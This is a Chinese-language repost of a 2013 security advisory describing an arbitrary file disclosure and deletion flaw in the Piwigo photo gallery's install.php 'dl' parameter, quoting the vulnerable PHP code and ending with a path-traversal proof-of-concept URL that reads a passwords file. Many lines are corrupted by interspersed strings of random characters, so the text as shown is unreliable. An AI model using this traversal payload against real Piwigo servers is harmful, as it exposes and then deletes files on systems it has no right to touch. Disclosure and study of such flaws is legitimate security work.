Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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5 w1 x! n8 h6 r$ y1 e/ n6 }9 nPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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+ s* k) v5 }' A" ~/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# ^5 y5 j9 e0 U% R" ]116:   header('Cache-Control: no-cache, must-revalidate');
' A# D# R) Q# g1 s117:   header('Pragma: no-cache');
8 z' E7 }) Y- K% c( t# y118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
, m5 N& P; T3 X3 \; V! h121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
: l$ c" |. s% h4 A6 E           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
8 W: G, Q  ]& j2 R6 P) ~Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
, N$ ?+ ]6 T! Z; g: u3 O" b. G8 l9 cVendor Patch: http://piwigo.org/bugs/view.php?id=2843

" N: J0 Z9 y& h7 F, k15.02.2013
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  I/ g9 W  A3 G" Shttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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